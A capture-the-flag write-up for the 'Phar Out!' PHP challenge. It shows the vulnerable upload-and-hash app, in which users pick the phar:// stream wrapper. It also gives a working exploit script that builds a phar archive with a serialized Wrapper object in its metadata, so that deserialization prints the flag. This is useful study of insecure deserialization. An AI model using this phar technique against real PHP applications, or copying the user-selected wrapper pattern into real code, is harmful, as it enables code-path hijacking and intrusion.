Tags: phar php deserialization 

Rating:

We were given the source code of an PHP application.

index.php

<?php

include("wrapper.php");

?>

<html>
<head>
    <title>Phar Out!</title>
</head>

<body>

<p>
Upload a file, and I'll hash it with MD5 :-)
</p>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST" enctype="multipart/form-data">
<input type="file" name="the_file" />
<input type="hidden" name="s" value="f" />
<input type="submit" name="submit" value="Upload File" />
</form>

<?php

if (isset($_POST['submit']) && $_FILES['the_file']['size'] > 0)
{
    $dest_dir = getcwd() . "/uploads/";

    echo "<br />Submitted<br />";
    $target_file = $dest_dir . basename($_FILES["the_file"]["name"]);
    //print_r($_FILES);
    move_uploaded_file($_FILES["the_file"]["tmp_name"], $target_file);

    if ($_POST['s'] === 'p')
        $s = 'phar://';
    else
        $s = 'file://';
    echo md5_file("$s$target_file");
    unlink($target_file);
}

?>

</body>

</html>

wrapper.php & doit.php

<?php

include("doit.php");

class Wrapper {
    private $doit;
    public function __wakeup() {
        if (isset($this->doit)) {
            $this->doit = new Doit();
        } else {
            echo "Hello from Wrapper!";
        }
    }
}

?>

<?php

class Doit {
        public function __construct() {
                $flag = getenv("FLAG");
                echo "flag{{$flag}}\n";
        }
}

?>

As from the challenge's title Phar out we can immediately identify the vulnerability. It is all about unsecure phar deserialization.

Analyzing the source code, the objective is to POST a crafted phar archive and try to instantiate the Wrapper class with the parameter $doit set to some value. As $doit is a private class variable, we cannot simply use $wrapper->doit='some value'. We can though use PHP's ReflectionClass to set a value to $doit.

The final exploit code:

<?php

// include Wrapper and Doit class
include("wrapper.php");

// get an Wrapper class instance
$dummy = new Wrapper();

// use reflection to set a value to $wrapper->doit
$reflectionClass = new ReflectionClass('Wrapper');
$reflectionProperty = $reflectionClass->getProperty('doit');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($dummy, 'foobar');


// craft phar archive
$poc = new Phar("poc.phar");
$poc->startBuffering();
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
$poc['file'] = "test file";
$poc->setMetadata($dummy);
$poc->stopBuffering();

By submitting the generated poc.phar and setting the POST parameter s=p we can get the flag.

<html>
<head>
    <title>Phar Out!</title>
</head>

<body>

<p>
Upload a file, and I'll hash it with MD5 :-)
</p>
<form action="/index.php" method="POST" enctype="multipart/form-data">
<input type="file" name="the_file" />
<input type="hidden" name="s" value="f" />
<input type="submit" name="submit" value="Upload File" />
</form>

<br />Submitted<br />flag{scooby}

</body>

</html>
rxej3sDec. 24, 2021, 5:12 p.m.

Mantap banh ?